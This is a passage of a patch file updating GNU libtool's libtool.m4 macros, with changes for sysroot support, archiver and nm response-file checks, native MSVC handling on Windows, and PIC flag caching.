+ m4_ifset([AC_PACKAGE_VERSION], [ AC_PACKAGE_VERSION])
+ configured by $[0], generated by m4_PACKAGE_STRING.
+
+-Copyright (C) 2009 Free Software Foundation, Inc.
++Copyright (C) 2010 Free Software Foundation, Inc.
+ This config.lt script is free software; the Free Software Foundation
+ gives unlimited permision to copy, distribute and modify it."
+
+@@ -746,15 +751,12 @@ _LT_EOF
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
+
+- _LT_PROG_XSI_SHELLFNS
++ _LT_PROG_REPLACE_SHELLFNS
+
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+ ],
+@@ -980,6 +982,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&AS_MESSAGE_LOG_FD
+ echo "$AR cru libconftest.a conftest.o" >&AS_MESSAGE_LOG_FD
+ $AR cru libconftest.a conftest.o 2>&AS_MESSAGE_LOG_FD
++ echo "$RANLIB libconftest.a" >&AS_MESSAGE_LOG_FD
++ $RANLIB libconftest.a 2>&AS_MESSAGE_LOG_FD
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -1069,30 +1073,41 @@ m4_defun([_LT_DARWIN_LINKER_FEATURES],
+ fi
+ ])
+
+-# _LT_SYS_MODULE_PATH_AIX
+-# -----------------------
++# _LT_SYS_MODULE_PATH_AIX([TAGNAME])
++# ----------------------------------
+ # Links a minimal program and checks the executable
+ # for the system default hardcoded library path. In most cases,
+ # this is /usr/lib:/lib, but when the MPI compilers are used
+ # the location of the communication and MPI libs are included too.
+ # If we don't find anything, use the default library path according
+ # to the aix ld manual.
++# Store the results from the different compilers for each TAGNAME.
++# Allow to override them for all tags through lt_cv_aix_libpath.
+ m4_defun([_LT_SYS_MODULE_PATH_AIX],
+ [m4_require([_LT_DECL_SED])dnl
+-AC_LINK_IFELSE([AC_LANG_SOURCE([AC_LANG_PROGRAM])],[
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi],[])
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ AC_CACHE_VAL([_LT_TAGVAR([lt_cv_aix_libpath_], [$1])],
++ [AC_LINK_IFELSE([AC_LANG_PROGRAM],[
++ lt_aix_libpath_sed='[
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }]'
++ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then
++ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi],[])
++ if test -z "$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])"; then
++ _LT_TAGVAR([lt_cv_aix_libpath_], [$1])="/usr/lib:/lib"
++ fi
++ ])
++ aix_libpath=$_LT_TAGVAR([lt_cv_aix_libpath_], [$1])
++fi
+ ])# _LT_SYS_MODULE_PATH_AIX
+
+
+@@ -1117,7 +1132,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+
+ AC_MSG_CHECKING([how to print strings])
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -1161,6 +1176,39 @@ _LT_DECL([], [ECHO], [1], [An echo program that protects backslashes])
+ ])# _LT_PROG_ECHO_BACKSLASH
+
+
++# _LT_WITH_SYSROOT
++# ----------------
++AC_DEFUN([_LT_WITH_SYSROOT],
++[AC_MSG_CHECKING([for sysroot])
++AC_ARG_WITH([libtool-sysroot],
++[ --with-libtool-sysroot[=DIR] Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).],
++[], [with_libtool_sysroot=no])
++
++dnl lt_sysroot will always be passed unquoted. We quote it here
++dnl in case the user passed a directory name.
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ AC_MSG_RESULT([${with_libtool_sysroot}])
++ AC_MSG_ERROR([The sysroot must be an absolute path.])
++ ;;
++esac
++
++ AC_MSG_RESULT([${lt_sysroot:-no}])
++_LT_DECL([], [lt_sysroot], [0], [The root where to search for ]dnl
++[dependent libraries, and in which our libraries should be installed.])])
++
+ # _LT_ENABLE_LOCK
+ # ---------------
+ m4_defun([_LT_ENABLE_LOCK],
+@@ -1320,6 +1368,51 @@ need_locks="$enable_libtool_lock"
+ ])# _LT_ENABLE_LOCK
+
+
++# _LT_PROG_AR
++# -----------
++m4_defun([_LT_PROG_AR],
++[AC_CHECK_TOOLS(AR, [ar], false)
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ AC_MSG_WARN([Failed: $AR $plugin_option rc])
++ else
++ AR="$AR $plugin_option"
++ fi
++ rm -f conftest.*
++: ${AR=ar}
++: ${AR_FLAGS=cru}
++_LT_DECL([], [AR], [1], [The archiver])
++_LT_DECL([], [AR_FLAGS], [1], [Flags to create an archive])
++
++AC_CACHE_CHECK([for archiver @FILE support], [lt_cv_ar_at_file],
++ [lt_cv_ar_at_file=no
++ AC_COMPILE_IFELSE([AC_LANG_PROGRAM],
++ [echo conftest.$ac_objext > conftest.lst
++ lt_ar_try='$AR $AR_FLAGS libconftest.a @conftest.lst >&AS_MESSAGE_LOG_FD'
++ AC_TRY_EVAL([lt_ar_try])
++ if test "$ac_status" -eq 0; then
++ # Ensure the archiver fails upon bogus file names.
++ rm -f conftest.$ac_objext libconftest.a
++ AC_TRY_EVAL([lt_ar_try])
++ if test "$ac_status" -ne 0; then
++ lt_cv_ar_at_file=@
++ fi
++ fi
++ rm -f conftest.* libconftest.a
++ ])
++ ])
++
++if test "x$lt_cv_ar_at_file" = xno; then
++ archiver_list_spec=
++else
++ archiver_list_spec=$lt_cv_ar_at_file
++fi
++_LT_DECL([], [archiver_list_spec], [1],
++ [How to feed a file listing to the archiver])
++])# _LT_PROG_AR
++
++
+ # _LT_CMD_OLD_ARCHIVE
+ # -------------------
+ m4_defun([_LT_CMD_OLD_ARCHIVE],
+@@ -1336,23 +1429,7 @@ for plugin in $plugin_names; do
+ fi
+ done
+
+-AC_CHECK_TOOL(AR, ar, false)
+-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- AC_MSG_WARN([Failed: $AR $plugin_option rc])
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
+- fi
+-fi
+-test -z "$AR_FLAGS" && AR_FLAGS=cru
+-_LT_DECL([], [AR], [1], [The archiver])
+-_LT_DECL([], [AR_FLAGS], [1])
++_LT_PROG_AR
+
+ AC_CHECK_TOOL(STRIP, strip, :)
+ test -z "$STRIP" && STRIP=:
+@@ -1653,7 +1730,7 @@ else
+ lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
+ lt_status=$lt_dlunknown
+ cat > conftest.$ac_ext <<_LT_EOF
+-[#line __oline__ "configure"
++[#line $LINENO "configure"
+ #include "confdefs.h"
+
+ #if HAVE_DLFCN_H
+@@ -1697,10 +1774,10 @@ else
+ /* When -fvisbility=hidden is used, assume the code has been annotated
+ correspondingly for the symbols needed. */
+ #if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
+-void fnord () __attribute__((visibility("default")));
++int fnord () __attribute__((visibility("default")));
+ #endif
+
+-void fnord () { int i=42; }
++int fnord () { return 42; }
+ int main ()
+ {
+ void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
+@@ -2240,8 +2317,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+ need_version=no
+ need_lib_prefix=no
+
+- case $GCC,$host_os in
+- yes,cygwin* | yes,mingw* | yes,pw32* | yes,cegcc*)
++ case $GCC,$cc_basename in
++ yes,*)
++ # gcc
+ library_names_spec='$libname.dll.a'
+ # DLL is installed to $(libdir)/../bin by postinstall_cmds
+ postinstall_cmds='base_file=`basename \${file}`~
+@@ -2274,13 +2352,71 @@ m4_if([$1], [],[
+ library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
+ ;;
+ esac
++ dynamic_linker='Win32 ld.exe'
++ ;;
++
++ *,cl*)
++ # Native MSVC
++ libname_spec='$name'
++ soname_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext}'
++ library_names_spec='${libname}.dll.lib'
++
++ case $build_os in
++ mingw*)
++ sys_lib_search_path_spec=
++ lt_save_ifs=$IFS
++ IFS=';'
++ for lt_path in $LIB
++ do
++ IFS=$lt_save_ifs
++ # Let DOS variable expansion print the short 8.3 style file name.
++ lt_path=`cd "$lt_path" 2>/dev/null && cmd //C "for %i in (".") do @echo %~si"`
++ sys_lib_search_path_spec="$sys_lib_search_path_spec $lt_path"
++ done
++ IFS=$lt_save_ifs
++ # Convert to MSYS style.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | sed -e 's|\\\\|/|g' -e 's| \\([[a-zA-Z]]\\):| /\\1|g' -e 's|^ ||'`
++ ;;
++ cygwin*)
++ # Convert to unix form, then to dos form, then back to unix form
++ # but this time dos style (no spaces!) so that the unix form looks
++ # like /cygdrive/c/PROGRA~1:/cygdr...
++ sys_lib_search_path_spec=`cygpath --path --unix "$LIB"`
++ sys_lib_search_path_spec=`cygpath --path --dos "$sys_lib_search_path_spec" 2>/dev/null`
++ sys_lib_search_path_spec=`cygpath --path --unix "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ ;;
++ *)
++ sys_lib_search_path_spec="$LIB"
++ if $ECHO "$sys_lib_search_path_spec" | [$GREP ';[c-zC-Z]:/' >/dev/null]; then
++ # It is most probably a Windows format PATH.
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
++ else
++ sys_lib_search_path_spec=`$ECHO "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
++ fi
++ # FIXME: find the short name or the path components, as spaces are
++ # common. (e.g. "Program Files" -> "PROGRA~1")
++ ;;
++ esac
++
++ # DLL is installed to $(libdir)/../bin by postinstall_cmds
++ postinstall_cmds='base_file=`basename \${file}`~
++ dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i; echo \$dlname'\''`~
++ dldir=$destdir/`dirname \$dlpath`~
++ test -d \$dldir || mkdir -p \$dldir~
++ $install_prog $dir/$dlname \$dldir/$dlname'
++ postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
++ dlpath=$dir/\$dldll~
++ $RM \$dlpath'
++ shlibpath_overrides_runpath=yes
++ dynamic_linker='Win32 link.exe'
+ ;;
+
+ *)
++ # Assume MSVC wrapper
+ library_names_spec='${libname}`echo ${release} | $SED -e 's/[[.]]/-/g'`${versuffix}${shared_ext} $libname.lib'
++ dynamic_linker='Win32 ld.exe'
+ ;;
+ esac
+- dynamic_linker='Win32 ld.exe'
+ # FIXME: first we should search . and the directory the executable is in
+ shlibpath_var=PATH
+ ;;
+@@ -2970,6 +3106,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -3036,7 +3177,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -3187,6 +3329,21 @@ tpf*)
+ ;;
+ esac
+ ])
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[[\1]]\/[[\1]]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -3194,7 +3351,11 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+ _LT_DECL([], [deplibs_check_method], [1],
+ [Method to check whether dependent libraries are shared objects])
+ _LT_DECL([], [file_magic_cmd], [1],
+- [Command to use when deplibs_check_method == "file_magic"])
++ [Command to use when deplibs_check_method = "file_magic"])
++_LT_DECL([], [file_magic_glob], [1],
++ [How to find potential files when deplibs_check_method = "file_magic"])
++_LT_DECL([], [want_nocaseglob], [1],
++ [Find potential files using nocaseglob when deplibs_check_method = "file_magic"])
+ ])# _LT_CHECK_MAGIC_METHOD
+
+
+@@ -3299,6 +3460,67 @@ dnl aclocal-1.4 backwards compatibility:
+ dnl AC_DEFUN([AM_PROG_NM], [])
+ dnl AC_DEFUN([AC_PROG_NM], [])
+
++# _LT_CHECK_SHAREDLIB_FROM_LINKLIB
++# --------------------------------
++# how to determine the name of the shared library
++# associated with a specific link library.
++# -- PORTME fill in with the dynamic library characteristics
++m4_defun([_LT_CHECK_SHAREDLIB_FROM_LINKLIB],
++[m4_require([_LT_DECL_EGREP])
++m4_require([_LT_DECL_OBJDUMP])
++m4_require([_LT_DECL_DLLTOOL])
++AC_CACHE_CHECK([how to associate runtime and link libraries],
++lt_cv_sharedlib_from_linklib_cmd,
++[lt_cv_sharedlib_from_linklib_cmd='unknown'
++
++case $host_os in
++cygwin* | mingw* | pw32* | cegcc*)
++ # two different shell functions defined in ltmain.sh
++ # decide which to use based on capabilities of $DLLTOOL
++ case `$DLLTOOL --help 2>&1` in
++ *--identify-strict*)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib
++ ;;
++ *)
++ lt_cv_sharedlib_from_linklib_cmd=func_cygming_dll_for_implib_fallback
++ ;;
++ esac
++ ;;
++*)
++ # fallback: assume linklib IS sharedlib
++ lt_cv_sharedlib_from_linklib_cmd="$ECHO"
++ ;;
++esac
++])
++sharedlib_from_linklib_cmd=$lt_cv_sharedlib_from_linklib_cmd
++test -z "$sharedlib_from_linklib_cmd" && sharedlib_from_linklib_cmd=$ECHO
++
++_LT_DECL([], [sharedlib_from_linklib_cmd], [1],
++ [Command to associate shared and link libraries])
++])# _LT_CHECK_SHAREDLIB_FROM_LINKLIB
++
++
++# _LT_PATH_MANIFEST_TOOL
++# ----------------------
++# locate the manifest tool
++m4_defun([_LT_PATH_MANIFEST_TOOL],
++[AC_CHECK_TOOL(MANIFEST_TOOL, mt, :)
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++AC_CACHE_CHECK([if $MANIFEST_TOOL is a manifest tool], [lt_cv_path_mainfest_tool],
++ [lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&AS_MESSAGE_LOG_FD
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&AS_MESSAGE_LOG_FD
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*])
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++_LT_DECL([], [MANIFEST_TOOL], [1], [Manifest tool])dnl
++])# _LT_PATH_MANIFEST_TOOL
++
+
+ # LT_LIB_M
+ # --------
+@@ -3425,8 +3647,8 @@ esac
+ lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
+
+ # Transform an extracted symbol line into symbol name and symbol address
+-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'"
+-lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\)[[ ]]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p'"
++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([[^ ]]*\)[[ ]]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \(lib[[^ ]]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -3462,6 +3684,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -3495,6 +3718,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT@&t@_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT@&t@_DLSYM_CONST
++#else
++# define LT@&t@_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -3506,7 +3741,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT@&t@_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -3532,15 +3767,15 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$_LT_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)"
+ if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
+ fi
+@@ -3573,6 +3808,13 @@ else
+ AC_MSG_RESULT(ok)
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[[@]]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
+ _LT_DECL([global_symbol_pipe], [lt_cv_sys_global_symbol_pipe], [1],
+ [Take the output of nm and produce a listing of raw symbols and C names])
+ _LT_DECL([global_symbol_to_cdecl], [lt_cv_sys_global_symbol_to_cdecl], [1],
+@@ -3583,6 +3825,8 @@ _LT_DECL([global_symbol_to_c_name_address],
+ _LT_DECL([global_symbol_to_c_name_address_lib_prefix],
+ [lt_cv_sys_global_symbol_to_c_name_address_lib_prefix], [1],
+ [Transform the output of nm in a C name address pair when lib prefix is needed])
++_LT_DECL([], [nm_file_list_spec], [1],
++ [Specify filename containing input files for $NM])
+ ]) # _LT_CMD_GLOBAL_SYMBOLS
+
+
+@@ -3594,7 +3838,6 @@ _LT_TAGVAR(lt_prog_compiler_wl, $1)=
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)=
+ _LT_TAGVAR(lt_prog_compiler_static, $1)=
+
+-AC_MSG_CHECKING([for $compiler option to produce PIC])
+ m4_if([$1], [CXX], [
+ # C++ specific cases for pic, static, wl, etc.
+ if test "$GXX" = yes; then
+@@ -3700,6 +3943,12 @@ m4_if([$1], [CXX], [
+ ;;
+ esac
+ ;;
++ mingw* | cygwin* | os2* | pw32* | cegcc*)
++ # This hack is so that the source file can tell whether it is being
++ # built for inclusion in a dll (and should export symbols for example).
++ m4_if([$1], [GCJ], [],
++ [_LT_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'])
++ ;;
+ dgux*)
+ case $cc_basename in
+ ec++*)
+@@ -3852,7 +4101,7 @@ m4_if([$1], [CXX], [
+ ;;
+ solaris*)
+ case $cc_basename in
+- CC*)
++ CC* | sunCC*)
+ # Sun C++ 4.2, 5.x and Centerline C++
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+ _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+@@ -4075,6 +4324,12 @@ m4_if([$1], [CXX], [
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)='--shared'
+ _LT_TAGVAR(lt_prog_compiler_static, $1)='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,-Wl,,'
++ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
++ _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -4137,7 +4392,7 @@ m4_if([$1], [CXX], [
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
+ _LT_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
+ *)
+ _LT_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
+@@ -4194,9 +4449,11 @@ case $host_os in
+ _LT_TAGVAR(lt_prog_compiler_pic, $1)="$_LT_TAGVAR(lt_prog_compiler_pic, $1)@&t@m4_if([$1],[],[ -DPIC],[m4_if([$1],[CXX],[ -DPIC],[])])"
+ ;;
+ esac
+-AC_MSG_RESULT([$_LT_TAGVAR(lt_prog_compiler_pic, $1)])
+-_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1],
+- [How to pass a linker flag through the compiler])
++
++AC_CACHE_CHECK([for $compiler option to produce PIC],
++ [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)],
++ [_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_prog_compiler_pic, $1)])
++_LT_TAGVAR(lt_prog_compiler_pic, $1)=$_LT_TAGVAR(lt_cv_prog_compiler_pic, $1)
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -4215,6 +4472,8 @@ fi
+ _LT_TAGDECL([pic_flag], [lt_prog_compiler_pic], [1],
+ [Additional compiler flags for building library objects])
+
++_LT_TAGDECL([wl], [lt_prog_compiler_wl], [1],
++ [How to pass a linker flag through the compiler])
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -4235,6 +4494,7 @@ _LT_TAGDECL([link_static_flag], [lt_prog_compiler_static], [1],
+ m4_defun([_LT_LINKER_SHLIBS],
+ [AC_REQUIRE([LT_PATH_LD])dnl
+ AC_REQUIRE([LT_PATH_NM])dnl
++m4_require([_LT_PATH_MANIFEST_TOOL])dnl
+ m4_require([_LT_FILEUTILS_DEFAULTS])dnl
+ m4_require([_LT_DECL_EGREP])dnl
+ m4_require([_LT_DECL_SED])dnl
+@@ -4243,6 +4503,7 @@ m4_require([_LT_TAG_COMPILER])dnl
+ AC_MSG_CHECKING([whether the $compiler linker ($LD) supports shared libraries])
+ m4_if([$1], [CXX], [
+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
++ _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*']
+ case $host_os in
+ aix[[4-9]]*)
+ # If we're using GNU nm, then we don't want the "-C" option.
+@@ -4257,15 +4518,20 @@ m4_if([$1], [CXX], [
+ ;;
+ pw32*)
+ _LT_TAGVAR(export_symbols_cmds, $1)="$ltdll_cmds"
+- ;;
++ ;;
+ cygwin* | mingw* | cegcc*)
+- _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;/^.*[[ ]]__nm__/s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ case $cc_basename in
++ cl*) ;;
++ *)
++ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[[BCDGRS]][[ ]]/s/.*[[ ]]\([[^ ]]*\)/\1 DATA/;s/^.*[[ ]]__nm__\([[^ ]]*\)[[ ]][[^ ]]*/\1 DATA/;/^I[[ ]]/d;/^[[AITW]][[ ]]/s/.* //'\'' | sort | uniq > $export_symbols'
++ _LT_TAGVAR(exclude_expsyms, $1)=['[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname']
++ ;;
++ esac
++ ;;
+ *)
+ _LT_TAGVAR(export_symbols_cmds, $1)='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
+- ;;
++ ;;
+ esac
+- _LT_TAGVAR(exclude_expsyms, $1)=['_GLOBAL_OFFSET_TABLE_|_GLOBAL__F[ID]_.*']
+ ], [
+ runpath_var=
+ _LT_TAGVAR(allow_undefined_flag, $1)=
+@@ -4433,7 +4699,8 @@ _LT_EOF
+ _LT_TAGVAR(allow_undefined_flag, $1)=unsupported
+ _LT_TAGVAR(always_export_symbols, $1)=no
+ _LT_TAGVAR(enable_shared_with_static_runtimes, $1)=yes
